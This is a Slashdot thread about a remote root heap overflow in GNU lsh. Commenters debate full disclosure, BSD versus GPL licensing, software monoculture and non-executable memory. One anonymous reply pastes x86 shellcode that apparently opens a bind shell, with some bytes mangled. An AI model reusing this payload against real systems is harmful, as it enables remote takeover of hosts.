Remote Root Exploit In lsh

skookum writes "After last week's OpenSSH patch-fest, a lot of people suggested GNU lsh as a replacement. Unfortunately, it seems that the lsh team has recently discovered a heap overflow bug of their own that can lead to compromise. An exploit was posted to BugTraq two days ago. Happy patching."

Comments

I knew it!

[dimss]

I knew it! Enemies anywhere!

How thoughtful

[dtfinch]

Thanks for the link to the exploit code, I guess. We really needed that.

Re:How thoughtful

[Anonymous Coward]

"\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
"\x06\x51\xb1\ x01\x51\xb1\x02\x51"
"\x89\xe1\xb3\x01\xb0\x66\xc d\x80"
"\x89\xc1\x31\xc0\x31\xdb\x50\x50"
"\x50\ x66\x68\xb0\xef\xb3\x02\x66"
"\x53\x89\xe2\xb3\x1 0\x53\xb3\x02"
"\x52\x51\x89\xca\x89\xe1\xb0\x66"
"\xcd\x80\x31\xdb\x39\xc3\x74\x05"
"\x31\xc0\x4 0\xcd\x80\x31\xc0\x50"
"\x52\x89\xe1\xb3\x04\xb0\ x66\xcd"
"\x80\x89\xd7\x31\xc0\x31\xdb\x31"
"\xc 9\xb3\x11\xb1\x01\xb0\x30\xcd"
"\x80\x31\xc0\x31\ xdb\x50\x50\x57"
"\x89\xe1\xb3\x05\xb0\x66\xcd\x8 0"
"\x89\xc6\x31\xc0\x31\xdb\xb0\x02"
"\xcd\x80\ x39\xc3\x75\x40\x31\xc0"
"\x89\xfb\xb0\x06\xcd\x8 0\x31\xc0"
"\x31\xc9\x89\xf3\xb0\x3e\xfe\xc0\xcd\ x80"
"\x31\xc0\x41\xb0\x3e\xfe\xc0\xcd\x80\x31"
"\xc0\x41\xb0\x3e\xfe\xc0\xcd\x80\x31\xc0"
"\x50\ x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe 3\x8b\x54\x24"
"\x08\x50\x53\x89\xe1\xb0\x0b\xcd"
"\x80\x31\xc0\x40\xcd\x80\x31\xc0"
"\x89\xf3\xb 0\x06\xcd\x80\xeb\x99"

Re:How thoughtful

[mcpkaaos]

Think of it this way:

With the exploit patched, releasing the code for the exploit is one hell of a confident way to say, "Hey, we patched it." It also allows anyone to make sure that the machines they are responsible are, in fact, patched.

If you ask me, this beats the hell out of either admitting to an exploit and keeping the details hidden regardless of whether or not it's patched.. or just not squeaking any info about any exploit whatsoever.

Or.. think of it this way:

Maybe it's just a sure-fire way to light a fire under your ass to apply the necessary patch before someone figures out the exploit and turns your computer into another node in yet another attempt to DDoS microsoft.com.

Take yer pick, I guess. :)

Re:How thoughtful

[Anonymous Coward]

Its also a great way to give morons exactly what they need to cause alot of people some big headaches. What is served by releasing the exploit? And ESPECIALLY example code for the exploit?! People can know their system is patched by patching their system. They dont need to test the exploit on it. Thats such a ridiculous excuse for a stupid move like this.

Re:How thoughtful

[Anonymous Coward]

Think of it this way:

Youre a dumbass. There is no excuse for an irresponsible move like this. Exploits and code for them should not be available to the masses on the internet. People with good intentions have no use for it that is more important than preventing the damage caused by a loser out there with nothing better to do than fuck up somebodys system.

Re:How thoughtful

[Anonymous Coward]

There's some sort of a 'security through obscurity' thing that we're all supposed to bleat now.

Re:How thoughtful

[skookum]

Do you honestly think that the kind of people that would want to use such an exploit would actually learn about it from slashdot? Don't you think they'd know how to find the BugTraq archives themselves?

Do you honestly think that by pretending that an exploit doesn't exist you're any safer? Do you think you will patch your systems (and urge your supervisors to grant you the priority to patch those systems) faster knowing that an exploit is easily available? Do you not agree that it doesn't matter whether you feel good or bad about the situation, what matters is how fast and to what extent all vulnerable systems are patched? Do you not think that knowing of an exploit helps that goal?

Re:How thoughtful

[RiverTonic]

That's what they call 'security by obsecurity'. :-)

Re:How thoughtful

[Anonymous Coward]

A link to the exploit is a good thing (at least for sysadmins and developers that are actually paying attention!). Consider the OpenSSH bugs from last week where so many claims of "I tried the exploit against OpenBSD and it worked" (for instance). 'The exploit' in this case appears to have been a complete fiction. Some, like the FreeBSD team, don't believe it is even possible to come up with an exploit on thier OS-- the OpenBSD team more or less said they can't see how it could be exploited (and nobody external to the project has come forward with any suggestions).

One can only conclude the whole thing was over-blown and their are a few individuals that are anxious to see as much damage done to the OpenSSH developers reputation as possible (and aren't concerned how they do this). Thus many sysadmins ended up patching their systems in a mad rush twice in two days, when one patch applied with less urgency really would have been sufficient.

At least in this case, if the exploit has been coughed up, you know the problem is absolutely real, and not just FUD.

Re:How thoughtful

[Anonymous Coward]

Theres a different in releasing the fact that there is a flaw and writing half of a virus for anyone to download. This example code idea is outrageously irresponsible.

Re:How thoughtful

[Anonymous Coward]

How else are you going to check if you've patched the hole successfully or not?

Re:How thoughtful

[AKnightCowboy]

People can know their system is patched by patching their system. They dont need to test the exploit on it.

Actually, yes, some of us need to. Part of our security policy is to test an exploit (if available) against the patched system to verify the system is not vulnerable. Blindly accepting that "yes, the magic version number has changed so I am safe" is not reasonable for many people. It's always best to disseminate exploits as fast and as far as possible to get people to patch their systems. Take for example the recent Windows RPC vulnerabilities. 75% of the people wouldn't have patched it this year if it hadn't have been for the Blaster worm.

Re:How thoughtful

[anthonyrcalgary]

If you're using lsh, you've accepted that the people developing the software have a policy of releasing source code patches (many of which make working exploits a lot easier to write), and of releasing example exploit code when it exists. If you don't like it, closed source solutions are available. The exploit code won't work against any of the other SSH servers, including the commercial ones.

Ha-Ha

[Anonymous Coward]

I find it entertaining that the GNU zealot hippies suggest lsh as a replacement. That's like suggesting that the HURD is a replacement for the Linux kernel. Always trying to one-up the *BSD people by making something "more free", but never living up to the hype.

BTW, *who* uses lsh????

Re:Ha-Ha

[SweetAndSourJesus]

I'm a Free/Open BSD user/admin.

I've never even heard of ish.

Silly GNU people.

Re:Ha-Ha

[Anonymous Coward]

That'd be an L as in Larry not I as in Idiot.

Re:Ha-Ha

[Anonymous Coward]

Same here... first time I've heard of it was here in teh comment threads the other day when the OpenSSH bug was discovered.

Re:Ha-Ha

[Anonymous Coward]

That's cause it's Lsh, dipshit.

Re:Ha-Ha

[kyz]

Perhaps you're not Japanese.

ish is the Japanese version (Shift_JIS, EUC-JP, etc) of what uuencode and base64 does in ASCII.

Re:Ha-Ha

[Anonymous Coward]

Yeah - that whole gcc thing isn't used by any *BSD projects.

LOL. You couldn't even compile your own OS with GNU.

Loser.

Re:Ha-Ha

[Anonymous Coward]

I assume you mean without GNU. Yes, I could. Remember pcc, the portable C compiler? Long before gcc or gnu. You'd just have to write a back end for any processor that it didn't support, and when the compiler is brain-dead simple (unlike gcc), writing such a back end isn't that hard....

Re:Ha-Ha

[DrXym]

I'm all for multiple implementations of the same protocol simply on the grounds that hetrogenous networks are harder to crack, at least automatically, than ones all using the same software (hello Microsoft).

On the other hand, I wonder if there is any point at all in producing another open source ssh implementation for the same problem space. No one in the real world gives a toss that openssh uses a BSD style licence. Perhaps the lsh people should instead aim for where openssh might suck at (e.g. embedded) and try and capture that market.

Re:Ha-Ha

[defile]

Always trying to one-up the *BSD people by making something "more free", but never living up to the hype.

Yeah, it's about as ridiculous as how the *BSD people resent their dependence on GPL'd code and duplicate effort making sure they clone GNU tools and release them under a "less viral" license and they can declare their system even more BSD licensed.

I wonder where they are on replacing gcc.

Re:Ha-Ha

[Anonymous Coward]

You have it all wrong foolio most GNU tools are copies of BSD tools which has been in existance for years.

As for gcc replacement Tendra looks like a good candidate.

Re:Ha-Ha

[larry bagina]

liar. NetBSD kernel (and probably open + free as well) can be built with gcc, lcc, icc, sun's cc, and hp's cc, among others.

The *BSD userland code is generally less compiler and architecture dependent than GNU or "linux" utilities. The instructions for any non-trivial GNU or linux utility usually start off by telling you to install GCC, gnu/make, gnu/flex, gnu/bison, etc before you can compile it. lots of "linux" software won't build or run properly on anything but linux/x86

Compare that to BSD code which is useable as-is almost anywhere (it's been used by Windows 95-xp, Solaris, Aix, HPUX, OpenVMS, MacOS 7-X, minix, ATT SYS V, XINU, Xenix, etc)

Re:Ha-Ha

[Mad Marlin]

Yeah, it's about as ridiculous as how the *BSD people resent their dependence on GPL'd code and duplicate effort making sure they clone GNU tools and release them under a "less viral" license and they can declare their system even more BSD licensed.

That actually serves a purpose though. If it is licenced in a BSD-like manner, the software can be used in corporate spin-offs more easily than GPL'd stuff can.

Re:Ha-Ha

[anthonyrcalgary]

"On the other hand, I wonder if there is any point at all in producing another open source ssh implementation for the same problem space."

I'm in favor or diversity in general, but for me personally, asking me to use lsh is like asking me to bet against Theo's paranoia and attention to detail.

"No one in the real world gives a toss that openssh uses a BSD style licence."

On the contrary, OpenSSH gets used in places where a GNU licensed program would be difficult because it would have to be distributed on different media.

Re:Ha-Ha

[Anonymous Coward]

You're right about GNU make/gcc/bison requirements for most linux software... but not the x86 part. Very few popular linux apps are x86 only. Can you give any examples?

Re:Ha-Ha

[Anonymous Coward]

wine. plex86.

Re:Ha-Ha

[Anonymous Coward]

Very few popular linux apps are x86 only. Can you give any examples?

I can't give any example of a popular linux app. Sorry.

Re:Ha-Ha

[Anonymous Coward]

those require x86 for reasons having nothing to do with linux. I don't know if there is a WINE-alike for BSD, but if there is, it certainly would require x86 too.

Re:Ha-Ha

[meme_police]

You mean less free?

Re:Ha-Ha

[Anonymous Coward]

Considering lsh existed before OpenSSH, I don't think they were trying to replace OpenSSH. It's an alternative, that's what open source is about.. choice. Funny you should take the "Oh Linux users are out to get *BSD users" attitude considering none of this has to do with either Linux nor BSD, but just a third party app. Oh, cry me a river...

So what did we learn?

[evn]

We should all take this to heart; any computer that isn't turned off and locked in a safe at the bottom of an ocean on jupiter should be considered insecure, and even then...

Re:So what did we learn?

[Doppler00]

Aha... so that explains why NASA is letting Galileo decend into Jupiter. Must be a security measure against all these recent buffer overflow exploits.

Re:So what did we learn?

[Anonymous Coward]

The only ocean on Jupiter is the ocean of liquid metallic hydrogen, which exists at the pressure of around 4 million bars.

You forgot to mention that the choice of the safe is left as an exercise for the reader.

Re:So what did we learn?

[t0ny]

We should all take this to heart; any computer that isn't turned off and locked in a safe at the bottom of an ocean on jupiter should be considered insecure, and even then...

and even then its somehow Microsoft's fault.

Re:So what did we learn?

[Anonymous Coward]

your sig is an obvious troll, as IHBT I'm AC...

Mac OS X makes a fine server platform. I'd take apache on any platform over IIS.

Re:So what did we learn?

[t0ny]

Spoken like a true software-only person. Unless it has server level HARDWARE, which has nothing to do with the OS, it doesnt deserve to be called a server.

Mac 'servers' are nothing more than what everyone else calls workstations. Sticking feathers up your ass does not make you a chicken.

What is the point of lsh?

[Anonymous Coward]

Does it exist solely because of the non-GNUness of other implementations?

What idiots.

Re:What is the point of lsh?

[Anonymous Coward]

Don't forget the extra features, like the 100% GNU/GPL flaw. It really stands on its own merits. ;)

Re:What is the point of lsh?

[Anonymous Coward]

So tell me, do you use lsh?

Bet you don't.

Re:What is the point of lsh?

[Anonymous Coward]

It is?

So what bugs does it have? I'd be fascinated to know how it's "bug ridden"?

Of course, lsh doesn't support a fraction of the features that openssh does - and I mean the useful stuff, not just the minor stuff.

lsh isn't even considered secure by the developers...

Re:What is the point of lsh?

[Anonymous Coward]

So what bugs does it have?

See OpenSSH 3.6.2 (or whatever) and 3.7. Also, see previous versions that had security flaws. Bug ridden.

Re:What is the point of lsh?

[Anonymous Coward]

For one thing, it predates OpenSSH. Another motivation was that the secsh protocol was submitted for standardization and IIRC there need to be two independent implementations for it to be accepted.

So it really had little to do with GNUness, nor do most other projects I know of.

Re:What is the point of lsh?

[qtp]

IMHO, having multiple implementations of the same functionality is a good thing.

Having two different code bases that solve the same problem or support the same protocols gives the opportunity to examine different approaches by developers and students, offers administrators the choice of using whichever better suits thier needs, and allows drop in replacements if one or the other is inherently flawed or later is changed in such a way that it no longer suits the needs of the administrator or user.

There's a lot of people who are under the impression thatany duplication of effort is either wasted or bad in some way, and in specific cases they may be right, but as a whole we are all better off if different projects (even the ones you don't like) spend time finding different answers to problems that have "already been solved". At least in Free Software, there's always more than one way to do it. I hope there always will be.

Re:What is the point of lsh?

[Anonymous Coward]

Why is OpenBSD replacing GNU compenents with non-GNU components? Is it solely because of their BSD-pure zealotry?

Idiots.

The standard conclusion

[Overly Critical Guy]

Nothing is 100% secure, nothing is flawless, all operating systems are imperfect pieces of junk we're lucky to have running in the first place.

Re:The standard conclusion

[Anonymous Coward]

All your O/S are belong to us...

Re:The standard conclusion

[Anonymous Coward]

my sol.exe is 100% secure and flawless

Re:The standard conclusion

[GammaTau]

Nothing is 100% secure, nothing is flawless, all operating systems are imperfect pieces of junk [...]

Which is why software monoculture is bad. The existence of competing implementations is always a good thing whether it's OpenSSH vs. GNU lsh or something else. That way not everything is compromised in one swoop once a new security flaw is discovered.

Re:The standard conclusion

[Electrum]

Nothing is 100% secure

Oh really?

Re:The standard conclusion

[Overly Critical Guy]

Yes, really.

Re:The standard conclusion

[Whyzzi]

Because humans are imperfect, the software humans write will be imperfect too.

Re:The standard conclusion

[Anonymous Coward]

If monocultures are bad, then why does the 'linux camp' only advocate Linux? Why do firms that have names for parts of them like the Open Source Development Network or Open Source Development Labs spend their money on GNU/Linux - thus creating a new monoculture?

Re:The standard conclusion

[Anonymous Coward]

I'm with you 99%.

Re:The standard conclusion

[ScrewMaster]

I might add that this philosophy applies to organic systems as well, and for the same reason. A sufficient degree of diversity in any population, whether it be microbes, human beings, or operating systems, helps assure that no single pathogen can be totally destructive. Certainly, in this modern age of world-wide non-OS-specific internetworking protocols and data interchange formats, we should promote operating-system diversity as an additional level of safety.

I see many large corporations enforcing enterprise-wide standards. That is, everyone will run the same version of Windows, with the same applications software, same service packs, same anti-virus and firewall software ... which just means that when one machine does get compromised the entire organization is at risk. On the other hand, this situation is very convenient from the IT professional's point of view, so there is some argument for it. But I maintain that having a mix of operating systems, applications and protective software can provide more security than a more homogenous approach, and security is what we all want, right? Right?

Re:The standard conclusion

[GoofyBoy]

>and security is what we all want, right?

No not really.

There is only so far this argument will go. How many different OSs do we need to be sufficently homogenous? And there are only really say 8 different (or some number around there) OSs that someone can use effectively and then only say 3 good word processors on each platform. So thats 24 configureations for everyone in your office. All for the sake of security? Wouldn't user training be more efficent?

Its the argument of diversification: "Don't put all your eggs in one basket". But the counter argument against this is "Put all your eggs in one basket and WATCH that basket like a hawk".

Re:The standard conclusion

[pebs]

If monocultures are bad, then why does the 'linux camp' only advocate Linux? Why do firms that have names for parts of them like the Open Source Development Network or Open Source Development Labs spend their money on GNU/Linux - thus creating a new monoculture?

Someone has to focus on it. There will always be those groups of people who want to specialize in one area, and advocate the same specialization. But that's ok, as long as there are different groups doing different things. When everyone starts doing the same thing *cough* Windows *cough*, then we have a problem.

Re:The standard conclusion

[zootread]

Yeah, I remember that article. I used to crack UNIX/Linux systems exclusively. Why? Because they are way more interesting. Its much nicer to have control of a UNIX/Linux machine than some sorry little Win NT box. Besides, there's not much challenge in cracking Windows. Leave it for the worms...

Re:The standard conclusion

[damiam]

Just because no one's found the holes doesn't mean they aren't there.

Re:The standard conclusion

[dmelomed]

And how much more time will it take to find holes in his software given its size and time on the market?
What's the likelyhood?

Re:The standard conclusion

[Josuah]

Which is why software monoculture is bad. The existence of competing implementations is always a good thing whether it's OpenSSH vs. GNU lsh or something else. That way not everything is compromised in one swoop once a new security flaw is discovered.

Exactly! This is why I run all the competing implementions on the same box, at the same time. No matter what, my box won't be compromised in one swoop when a new security flaw is detected. If only other people realized this more often.

Re:The standard conclusion

[0x12d3]

That way not everything is compromised in one swoop once a new security flaw is discovered.

Yeah like in this case for instance... It took two swoops.

Re:The standard conclusion

[ScrewMaster]

Yes, but if your basket has more holes than a sieve it won't matter much. All your eggs will fall out on the floor and break anyway.

That's it

[Anonymous Coward]

I am switching to a vendor, who takes security seriously. Enough of this patching crap.

Re:That's it

[dimss]

The only vendor who prepackages it's OSes with lots of useful stuff -- Media Player, Internet Explorer, Worms, Viruses...

Re:That's it

[Anonymous Coward]

Don't you know it! I'm anxiously waiting for when Worm 3.11 for workgroups comes out of it's pre-release beta stage and actually goes gold. I've got mine preordered so I don't have to wait in line behind you suckas at EB!

That is it I quit

[Anonymous Coward]

Between MS worms, SSH, and this I am throwing down my keyboard...

Oh wait is that a new slashdot article?

I might be able to get first post...

Re:That is it I quit

[nacturation]

Between MS worms, SSH, and this I am throwing down my keyboard...

Oh wait is that a new slashdot article?

I might be able to get first post...

Well, I guess you'll have to settle for frosty piss instead.

Can someone explain to me why..

[Anonymous Coward]

We have a GNU ordained version of the SSH protocols when OpenSSH is doing a fantastic job?

Even if you are going to argue the BSD vs. GPL license issue, the lsh devs could have just taken the OpenSSH code, made some slight changes, and re-released it under the GPL.

So again I ask: Why?

Re:Can someone explain to me why..

[critter_hunter]

Pick one of: "Because they could", "Why not?", or "It seemed like a good idea at the time".

Re:Can someone explain to me why..

[jonabbey]

It's good to have competing implementations of critical protocols like this, to avoid monoculture.

See, if everyone had been using OpenSSH, then an exploit against an OpenSSH vulnerability would have worked everywhere. This way, the script kiddies need to come up with two separate exploits, and try to figure out which one is applicable for any given system.

Of course, it looks like this lsh vulnerability is much worse than the OpenSSH theoretical vulnerability was, but the ecological argument still pertains.

Re:Can someone explain to me why..

[lcs]

I, like the author of lsh, is a member of the same
computer society, Lysator, and I happen to remember
reading about the early lsh developments.

It was started in August 1998, and that's as far
as I know, several months if not years before
OpenSSH was started.

Re:Can someone explain to me why..

[hamster foo]

Of course, you could also argue that having multiple implementations of the same tools increases the likelihood of vulnerabilities. It stands to reason that as the number of projects increases, so will the number of security holes as a whole.

Regardless, I doubt that increasing security via more alternatives was the reasoning behind starting this project. I would much rather see these developers group together to debug problems and eliminate security issues.

Re:Can someone explain to me why..

[chekhov]

the lsh devs could have just taken the OpenSSH code, made some slight changes, and re-released it under the GPL

Only the copyright holder(s) of the OpenSSH code can relicense it, so this would not be possible.

Re:Can someone explain to me why..

[Dehumanizer]

If that was true, then the BSD license would never allow for code being introduced in closed, proprietary software...

Re:Can someone explain to me why..

[chekhov]

From the OpenSSH license:

* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.

BSD style licenses allow redistribution in source and binary form under conditions like the above. This is not the same thing as taking the source and changing the license of it as the original poster claimed to be possible.

Re:Can someone explain to me why..

[FooBarWidget]

Because GNU Ish was created before OpenSSH. It's as simple as that.

Re:Can someone explain to me why..

[Anonymous Coward]

Because lsh is much older than openssh, so there was no code to borrow from.

Re:Can someone explain to me why..

[Nugget]

You're wrong. The BSD license allows exactly what you suggest is not possible. Taking BSD code and re-licensing it or incorporating it into code which has a more restrictive license. The only limitation on your ability to do this is that you must include the copyright notice in the source code and documentation (you're just relicensing it, not reassigning ownership).

This is a feature of the BSD license.

Re:Can someone explain to me why..

[pebs]

We have a GNU ordained version of the SSH protocols when OpenSSH is doing a fantastic job?

If OpenSSH is doing such a fantastic job, then why have there been two remote root exploits in the last year? And yes, lsh has the same kind of problems. That's why competition between the two is good.

From what I hear lsh has a much cleaner codebase. lsh started from scratch, whereas OpenSSH took the old SSH 1.2.12 (the last free version) and fixed the known issues with it. Starting from scratch can be a good thing. You have the benefit of hindsight.

Personally, I use OpenSSH, but only internally (no access from the Internet). But I'm glad lsh exists in case I may want to switch one day.

Re:Can someone explain to me why..

[antiMStroll]

This was already explained in an earlier post, but for moderators who won't RTFForum, lsh was started when the original SSH licensing became too restrictive with each new version. The OpenBSD people also started work on an alternative, OpenSSH, based on cleaning up an early and less restrictive version os SSH. Lsh predates OpenSSH but the latter became more popular.

Re:Can someone explain to me why..

[Anonymous Coward]

I'm more curious about why so many people suggested replacing openssh with lsh in the earlier ssh vulnerability discussion. Was there some reason to believe it would prove inherently more secure? Is it just because it doesn't offer the option of supporting SSH1? Anyway, it's been in the works for a long time and has yet to put out a non-development release... that leads [at least this] one to believe it doesn't have much development velocity.

Re:Can someone explain to me why..

[NuShrike]

So it could've borrowed from SSH just like OpenSSH. What's the problem?

Re:Can someone explain to me why..

[NuShrike]

>From what I hear lsh has a much cleaner codebase. lsh started from scratch, whereas OpenSSH took the old SSH 1.2.12 (the l

Has anybody looked at the lsh section code patched? It's a HUGE lack of understanding of how programming language works, written in ANY language.

How can you fail to return from the function when an error occured, but continue to process like it never happened?

This isn't some somewhat obfuscated logic error in OpenSSH, it's some plain "learning to program" error.

Re:Can someone explain to me why..

[Triumph The Insult C]

nuh uh, that's incorrect. =( if what you suggest were the case, we wouldn't see osx, ios, ipso, and a host of other oses, all of which have gotten some influence from bsd.

you can change the license all you want. what you cannot change is the copyright.

that's what the turmoil was between openbsd and microbsd a few months back. the microbsd more or less did a global s/OpenBSD/MicroBSD/ on files ... files which included the copyright notice.

Re:Can someone explain to me why..

[S.Lemmon]

Well, if what you're saying is true - LSH may predate the "OpenSSH" name, but not the OpenSSH codebase.

Hareware preventable?

[darkstar949]

I have been reading up on the overflow exploits on various systems, and one thing that I have been wondering about is this - Are the exploits the result of poor software design or the result of poor hardware design. In other words, is it possible to isolate the instructions for the processor in RAM from the data portion of the RAM, through separate sticks of RAM? Or is it something that we must be aware of when programming?

Re:Hareware preventable?

[the_greywolf]

i can't speak for other platforms, but on x86, such protection does exist, but OS designers seem lax in implementing it.

there are two registers on the x86 that point to segment descriptor lists that define how a memory segment is treated: read-only, write-only, executeable, etc.

but to maintain compatibility with other platforms, paging is often used instead, since it is available across all platforms.

so in answer of your question, it's both poor software and poor hardware, IMHO, and it is possible to prevent at some level. the problem is simply the fact that segmentation and memory space separation on x86 is far underutilized. ideally, the data segment exists entirely outside the code segment without execute permission.

Re:Hareware preventable?

[Anonymous Coward]

obviously you haven't been reading anything.

Re:Hareware preventable?

[darkstar949]

Do you think you can point me in the direction of some more information on those x86 registers?

Thanks.

Re:Hareware preventable?

[Anonymous Coward]

Most of these weaknesses are the result of the poor design of the early u**x libraries with the C language. Unfortunately these were then standardized, so that all C-based systems are starting from a weak point. We then have to painfully teach and watch every use of any of these library routnes for security holes.

All done in the name of elegance and efficiency.

Hindsight is so useful!

Re:Hareware preventable?

[Anonymous Coward]

but to maintain compatibility with other platforms, paging is often used instead, since it is available across all platforms.

There's nothing preventing you from storing code and data in different pages, and making the code pages execute/read only, and data pages read/write. There are patches for Linux that does this.

Re:Hareware preventable?

[Anonymous Coward]

It is the result of poor software design.

It's such a shame people still use C.

Re:Hareware preventable?

[anthonyrcalgary]

Hardware can help, most modern hardware can do non-executable memory, but it's a pain to use properly, so most OSes don't. It's not enough by itself though, look at the X-Box.

The C libraries don't help. Take a look at some of the documentation. "the results are undefined" appears about a thousand times in the standard library. That basically means whoever implements that function isn't obligated to check for certain conditions, and every time that happens it's an exploit waiting to happen.

That's bad, and that leads to enough exploits by itself, but then you have just about every programmer on the planet doing stuff like this:

char buff[100]; /* should be big enough */

"should be big enough" translates idiomatically as "please exploit me".

Re:Hareware preventable?

[edwdig]

There's nothing preventing you from storing code and data in different pages, and making the code pages execute/read only, and data pages read/write. There are patches for Linux that does this.

Well, nothing other than the fact that in x86 page tables, the execute flag and the write flag are the same bit.

Bug not mentioned on lsh Web page

[Anonymous Coward]

Does anyone else find it odd that this is only mentioned in the lsh mailing lists, and not on their Web site?

GPL?

[ashkar]

Why would anyone voluntarily use software liscenced under the GPL when there is a much better, more servicable, and well tested application that runs under a less restrictive liscence? With the speed OpenSSH was patched, what is there to complain about. I mean, people still use sendmail with its track record of security bugs galore. It's unlikely anyone will switch because of a single bug.

BSD, the way the world is supposed to be.

Re:GPL?

[Anonymous Coward]

I switched from sendmail because of its poor security track record, and because of the superiority of Postfix. Similarly I will switch from OpenSSH because of its poor track record, assuming a) lsh is found to be more secure (we'll probably soon see) and b) it has the features I need.

People are quick to laud OpenSSH because it's a free ssh implementation, but they always seem to pretend that its security flaws are OK.

This is not the first time I've had to patch my boxes that run OpenSSH and I'd bet it won't be the last.

Re:GPL?

[irc.goatse.cx troll]

Because security through denial is not security.

Theo has a horrible track record, I wouldnt trust him to secure my porn collection. That openssh hole wasnt the first remote root on openbsd, just the first one that was too big for theo to deny and silently patch to keep his ego up.
Compare old(vuln) talkd in openbsd to current.
No security professional worth anything would honestly say they trust any code theo is at all responsible for.

For anyone looking for a good alternative: telnet over an ssl tunnel or vpn.

Re:GPL?

[RoLi]

For the very same reason companies found alliances around Linux but usually ignore BSD.

BSD can be highjacked anytime (exactly what happened to Unix) and it doesn't protect you from patents.

The GPL is a true hassle-free "no-sue" license.

Re:GPL?

[geekster]

How is the GPL more restrictive for a user? A developer, sure, that's the point. But a user?

Telnet

[Henry V .009]

I was going to repeat "switch to Telnet joke" that I made last time, but I just can't get up will this time. These bugs are killing us. I seriously think that we need to take some time to consider how Open Source projects do security. The "more eyes" mantra doesn't cut it. We need security models, standards, testing, and god knows what else. We need to look at which projects have been successful, and which have been miserable security failures. I know the open source community can do a lot better.

Re:Telnet

[daeley]

While I would agree with you in the abstract that the open source community can do a lot better on some things, the bug was confirmed 2 days ago and patched immediately. Good software !== no bugs ever.

Re:Telnet

[runderwo]

I seriously think that we need to take some time to consider how Open Source projects do security. The "more eyes" mantra doesn't cut it.

Um, how do you think this problem was spotted? Read the mailing list post. There was a pair of eyes that found the bug, and he subsequently posted to the list.

In addition, a fix was checked in within four hours. 14 hours later, exploit code was posted to SecurityFocus, in the afternoon. Any admin who checked the lsh mailing list in the morning would have seen the error and the fix, and been well ahead of the exploit.

Re:Telnet

[cscx]

Any admin who checked the lsh mailing list in the morning would have seen the error and the fix, and been well ahead of the exploit.

Don't you mean "the admin," or is there really more than one person using lsh?

Re:Telnet

[matusa]

It seems to me that the only projects which can attest to an admirable security record are the ones that not only pursued security with a paranoid fervor for the entirety of their development, but furthermore were envisioned/designed with security as a prime consideration and can comment on security as a foremost issue in basically any context. If you go through examples in your head (postfix, openssh), you'll realize what I say.

Re:Telnet

[quantaman]

Good software !== no bugs ever.

Just like good posts don't require logical operators that actually exist.

Re:Telnet

[ajs]

These bugs are not killing us. In fact, they're helping us to make our code stronger.

I'm so sick of the "there are bugs in it, let's switch" mentallity. There are bugs in every piece of software ever written. Why? Because human beings have a hard time specifying exactly what they want.

Sometimes those bugs are dangerous (as in buffer overflows), but if you look at your average piece of source code long enough -- source of ANY number of lines -- I bet you can find a bug in it.

So, we should all switch to the abacus? No, we should all make sure we spend time and money on the problem of finding bugs before the black-hats do. And that's why I buy software like Red Hat... because they actually spend some of that money on auditing for security, and I like the results (many bugs found and killed).

Re:Telnet

[SharpFang]

Tell you what? I feel the same way. Just because my LAN is firewalled and I'm its only user, and I don't telnet outside the firewall. Simply there's nobody to snoop on my lines. No data that's not obtainable can be decrypted. You can't exploit service that is switched off or cut off from the rest of the world. As long as my firewall isn't compromised, telnet is just as secure as ssh.

Of course if I connect to some hosts in a galaxy far, far away, that's a completely different story. (i.e. use the exploit to connect to them ;)

Re:Telnet

[Anonymous Coward]

Yeah, one admin. He's also the same guy who left a exploitable hole on the GNU FTP server for 3 months.

Re:Telnet

[Anonymous Coward]

Your post sounds exactly like it was written by Bill Gates. (except for the RedHat part)

Re:Telnet

[daeley]

Just like good posts don't require logical operators that actually exist.

And anal rejoinders don't require snooty pseudo-knowledge that's actually wrong.

Re:Telnet

[quantaman]

Grrr, stupid PHP!

Re:Telnet

[gad_zuki!]

>The "more eyes" mantra doesn't cut it.

You are exactly correct. In fact I would be wary about a working exploit posted within hours and a patch a little after. That leaves x amount of time for someone with a compiler and ten minutes to try to compromise me. But, these things happen. Its software, its supposed to happen.

If you're running remote admin apps without another layer of protection for redudancy like a VPN tunnel to your firewall, IP range blocking, etc you aren't properly defending yourself.

Be paranoid. Make an ssh tunnel to your behind the firewall telnet connection, each requiring a different login. Run the daemons with a user accout. Allow only one simulatanious login. Enable logging. Pay attention. Eat healthy. etc.

Re:Telnet

[zCyl]

Good software !== no bugs ever.

Why the hell not? Good bridges are the ones that don't fall down.

I know perfectly well that it's difficult to write bug free, or at least security problem free, code of any meaningful size, but it's about time we start to change our software development focus. Reasonable development techniques exist which are more difficult to do, but which result in code with a high degree of verifiably secure code.

You can't just trust that "the code is out there, so someone will read it." Every piece of security-conscious code written needs to be peer-reviewed, at least twice, by equally competent programmers to the one who wrote it. The peer reviewers need to nitpick at every bad design and programming technique decision. Every piece of security-conscious code should be software-fault injected after every release build, and all anomalous subcompenent behavior handled in an appropriate manner (and then peer reviewed again).

I'm sure there are quite a few other equally solid techniques that aren't being implemented across the board for security critical code. There's no fundamental limit to human ability which says we can't write secure code, we just need better procedures to prevent, catch, and block human errors.

Re:Telnet

[nacturation]

How about the Open Source community just hire Dan Bernstein to code up all the software. Sure, it might not be quite as free as RMS would like, but if every product had the same number of security flaws that have been discovered in qmail (for those sleeping at the back of the class: zero), I could certainly live with the trade-offs.

Re:Telnet

[TomV]

Why the hell not? Good bridges are the ones that don't fall down

That's not the same as saying that good bridges have no faults. Bridges are built with a large safety factor. A large amount of the steel wire in the Brooklyn Bridge cables is hideously substandard, slipped in there by a currupt subcontractor. But because the safety factors were in place, even though the cables are probably about 5/6 as strong as they were designed to be, because they were designed to be 4 times as strong as strictly necessary, the Brooklyn Bridge is still there today. They paid for a lot more steel than strictly necessary, but they were proved right to have done so.

The bridge is Verifiably Strong Enough, but it certainly isn't Fault-Free. It was a product of defensive engineering, and software containing the inevitable bugs can be made much safer by taking a defensive approach to programming. It's better not to have an out-of-bounds situation at all, but that's no reason not to do bounds-checking wherever an OOB might pose a hazard. Yes it costs money to code all those extra checks, but that's what engineers do in most other disciplines.

TomV

Re:Telnet

[zangdesign]

I think the idea here was that security should be considered at every step of the way, which is absolutely true. While the speed of fixing the bug is certainly commendable, it should not have been there in the first place as this is a fairly common mistake.

